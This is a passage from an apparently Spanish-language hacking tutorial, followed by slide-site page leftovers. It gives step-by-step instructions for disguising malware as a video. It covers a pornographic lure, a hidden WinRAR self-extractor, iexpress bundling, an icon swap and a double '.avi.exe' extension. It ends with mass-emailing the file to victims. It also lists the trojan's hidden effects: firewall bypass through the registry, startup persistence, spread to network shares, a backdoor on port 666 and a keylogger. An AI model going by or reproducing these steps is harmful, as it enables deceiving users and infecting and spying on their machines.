Así, de tanto empaquetar y empaquetar, este trabajo, no es sino
pura “labor de carpintería”.

[6] troyanización.

Aunque ya tenemos el malware, necesitamos un mecanismo de
activación. Obviamente, ese mecanismo es algún usuario ejecute o
de doble click sobre el ejecutable del malware. Para “generar
confianza” en el usuario a que active el malware, generaremos otro
paquete especial que troyanizará nuestro malware. Para ello
utilizaremos winrar. Ahí va !!. Primero, debemos escojer un
“anzuelo”. Este puede ser un archivo multimedia (preferiblemente).
En el caso de un escenario de una empresa típica colombiana,
podríamos tomar un pedazo de un video con contenido pornográfico
(casi nadie evita dar doble click sobre algo así). Para no
aumentar mucho el tamaño del troyano, podemos tomar cualquier
video en formato .avi y editarlo reduciendo la longitud de la

nkt@hackstudio.net

secuencia en una aplicación de bastante uso como camtasia.
Observemos el preview:

Al seleccionar añadir al archivo, selecciono la opción de generar
archivo especial en formato SFX (Archivo auto-extraible):

Luego vamos a la pestaña “avanzadas” y seleccionamos opciones SFX,
donde podemos establecer la ruta de extracción de archivos y los
comandos de ejecución (scripting) antes y después de la
extracción:

nkt@hackstudio.net

En Modos, seleccionamos las opciones de Ocultar todo tipo de
animación al usuario, y en caso de existir el archivo, sobre-
escribirlo.

Con eso basta. Aunque winrar nos presenta una plétora de múltiples
opciones (entre las cuales está la selección de un icono), es
suficiente como para lo que necesitamos. Podemos troyanizar el
malware utilizando cualquier tipo de archivo “atractivo” para que
el usuario dé doble click, p.e. Mp3, jpg, flash (que también tiene

nkt@hackstudio.net

extensión .exe), etc. En este momento, disponemos de un ejecutable
que contiene el malware y un ejecutable que despliega el video
“anzuelo”. ¿Qué viene ahora??, pues con iexpress puedes crear el
paquete total. Donde se empaquetan tanto el “anzuelo” (ejecutable
que despliega el video), como el malware en sí (el ejecutable
empaquetado que se detalló en la sección anterior). Sin embargo,
si observamos el archivo desde el explorador de windows, se ve que
el paquete total tiene un icono que no se reconoce fácilmente.
Vamos a utilizar la conocida “resHacker” para cambiar el icono de
tal manera que realmente parezca un archivo multimedia.
Desplegamos ResHacker, seleccionamos nuestro malware troyanizado y
buscamos el icono de un video dentro del sistema para realizar el
reemplazo. Observemos el preview.

(donde “videoCarlaGiraldo.exe” es el paquete que contiene tanto el
malware desarrollado en la sección anterior, como el video
empaquetado anteriormente con winrar).

Seleccionamos cualquier ejecutable desde donde deseamos cargar el
icono (en este caso, para simular un archivo de un verdadero
video, utilizaremos el mismo icono de windows media player, y

nkt@hackstudio.net

damos la opción reemplazar. Solo resta guardar el proyecto, y si
observamos nuevamente nuestro archivo desde el explorador podremos
ver un “lindo archivo aparentemente de video” con el nombre de
nuestro malware troyanizado.

Y LISTO !!!!... Ahora, p.e. En este caso se cambió el nombre por
“videoCarlaGiraldo.avi.exe”. Si hablamos de una red típica
colombiana con sistemas windows XP en sus instalaciones por
defecto, lo más seguro, es que en los exploradores de las máquinas
víctimas esté habilitada la opción “ocultar extesiones de archivos
conocidos”. Lo que hará que se oculte la extensión .exe y por lo
tanto “el nombre visible del malware” realmente aparecerá como
“videoCarlaGiraldo.avi”. Obviamente lo ideal sería que el troyano
se cargue desde un verdadero archivo multimedia. Esto no es
difícil de hacer, sin embargo, “será en otra ocasión, je!”, pues.
para los requerimientos de este proyecto, basta con lo hecho hasta
ahora.

Existen un resto de técnicas alternativas para troyanizar nuestro
malware. Entre ellas están los Data Streams, Macros en archivos
office, objetos ole incluidos en documentos (basta con
incrustarlos), wrappers en archivos .flash, ejecución de comandos
desde archivos que se ejecutan en windows media player, etc. No
las veremos en este documento, pero cualquier desarrollador de
malware puede pasar largos y entretenidos ratos mejorando y
puliendo lo logrado hasta ahora con técnicas más refinadas y
“diabólicas”.

Es obvio suponer, que si das doble click sobre el archivo que
contiene el malware troyanizado debe suceder los siguiente:

Explícitamente:
[-] Debe desplegarse el video (o cualquier tipo de anzuelo
incluido)

Implícitamente (y de forma oculta):
[-] el registro debe haber sido modificado para aceptar que se
abra un puerto por el backdoor sin que el firewall “se oponga”
[-] el registro debe haber sido modificado para cargar el backdoor
al iniciar la máquina
[-] el cuerpo del troyano debe haberse intentado copiar a las
carpetas compartidas encontradas en la lista de direcciones IP.

nkt@hackstudio.net

[-] se debe haber abierto la puerta trasera en estado de escucha
de conexiones en el puerto autorizado en el registro
[-] se debe ejecutar cualquier otro proceso incluido, p.e. Para
este proyecto, debería estar en ejecución el keylogger.

Lo único que resta, es re-enviar el “famoso video” a la mayor
cantidad de direcciones de correo electrónico ... y esperar. En el
caso de este proyecto, solo sería necesario detectar puertos
abiertos escuchando conexiones en el puerto 666 ... “a lo mejor es
nuetra plaga en acción, :P”...

------------------------------------------------------------------
Análisis y Conclusiones
------------------------------------------------------------------

Es importante tener en cuenta:

[-] No utilizamos ninguna tecnología sofisticada. Prácticamente
todo se limitó “al poder de la consola” en ejecutar scripts. Todos
los recursos requeridos estaban totalmente al alcance de
“cualquiera”.

[-] El conocimiento de todas estas técnicas anteriormente
mencionadas sirve no solamente para desarrollar proyectos con
“intenciones malévolas”, también sirve para el desarrollo de
vacunas contra malware. Simplemente se empaquetan scripts que con
la capacidad de revertir las actividades maliciosas del malware
que se desea vacunar. En pocas palabras, no solo se trata de
plantear mediante este proyecto técnicas nocivas para una
infraestructura informática. El conocimiento de estas técnicas es
la mejor forma de combatir este tipo de ataques.

[-] Todas las actividades anteriores (excepto el cambio de icono),
son scriptables. Esto significa que con buena práctica y
experiencia, se pueden automatizar (ya lo haremos en su momento).

[-] No necesitamos prácticamente ningún método de programación (ni
siquiera utilizamos lenguajes de programación), no necesitamos
ningún principio especial de la ingeniería del software,
cualquiera con algo de dedicación está en la capacidad de
desarrollar este tipo de proyectos, no se requiere de la ayuda de
un “super-hacker” ... todo esto lo podemos hacer prácticamente con
las uñas ... ahora lo que debemos aprender es a tener las uñas
“bien afiladas” ...

[-] diviértete, y disfrútalo cuanto puedas ... ah!, y no olvides
invitarme ... nkt@hackstudio.net, nkt.liam@gmail.com . Hasta la
próxima ;P

nkt@hackstudio.net

------------------------------------------------------------------
Autor
------------------------------------------------------------------

Guillermo Jurado. Ingeniero en Electrónica y Telecomunicaciones de
la Universidad del Cauca. Grupo de Investigación en Tecnologías de
la Información (GTI), Área de Investigación en Seguridad
Informática, Egresado 2003. Es "Hacktivista" con una Experiencia
de casi 8 años en Investigación y Desarrollo de Soluciones en
Seguridad Informática e Inteligencia Artificial. El Prototipo del
Proyecto InForce Technology recibió el reconocimiento de Mención
de Honor por Trabajo Innovador en el Área de Seguridad
Informática. Actualmente reside en Popayán-Cauca, y trabaja para
la Universidad del Cauca en el Área de Sistemas. Es Desarrollador
Avanzado en tecnologías JAVA (J2SDK, J2EE), investiga en
Metodologías y Estándares de Calidad de Software, y trabaja en el
surgimiento de hackStudio [http://hackstudio.net] , Proyecto
Empresarial cuyo Core (núcleo) de Negocio es la Investigación y
Desarrollo de Soluciones en Tecnología Informática. Es el
Arquitecto y Principal Desarrollador de InForce Technology y
HackStudio Project, y Dedica su Tiempo Disponible en la Edición de
su Propuesta Investigativa: "Ingeniería en Seguridad Informática"
que estará disponible al Público en Formato de Libro (si es que
algún día la termina, jeje).

Contactos en nkt@hackstudio.net , nkt.liam@gmail.com
Cel. 300 651 0946

------------------------------------------------------------------
Breve Bibliografía
------------------------------------------------------------------

[-] ZELTSER, Lenny. Malware: Fighting malicious code. 2003

[-] HOGLUND, Greg. BUTLER, James. Rootkits: Subverting the Windows
Kernel. 2005

[-] FOSTER, James. Sockets, Shellcode, Porting & Coding. Reverse
Engineering Exploits and Tools Coding for Security Professionals. 2005

[-] LUDWIG, Mark. The Little Black Book of computer Viruses. Editorial
American eagle publications.

[-] RODAO, Jesús. Virus de Sistemas Informáticos e Internet. Editorial
Alfa Omega 2000.

[-] Virus Bulletin, Octubre 2005 – Enero 2006. http://www.virusbtn.com

[-] http://www.hispasec.com/directorio/laboratorio/articulos/

Hacking withinnails pdfcompleto

Recommandé

Recommandé

Contenu connexe

Tendances

Tendances (20)

En vedette

En vedette (9)

Similaire à Hacking withinnails pdfcompleto

Similaire à Hacking withinnails pdfcompleto (20)

Plus de Securinf.com Seguridad Informatica - Tecnoweb2.com

Plus de Securinf.com Seguridad Informatica - Tecnoweb2.com (20)

Hacking withinnails pdfcompleto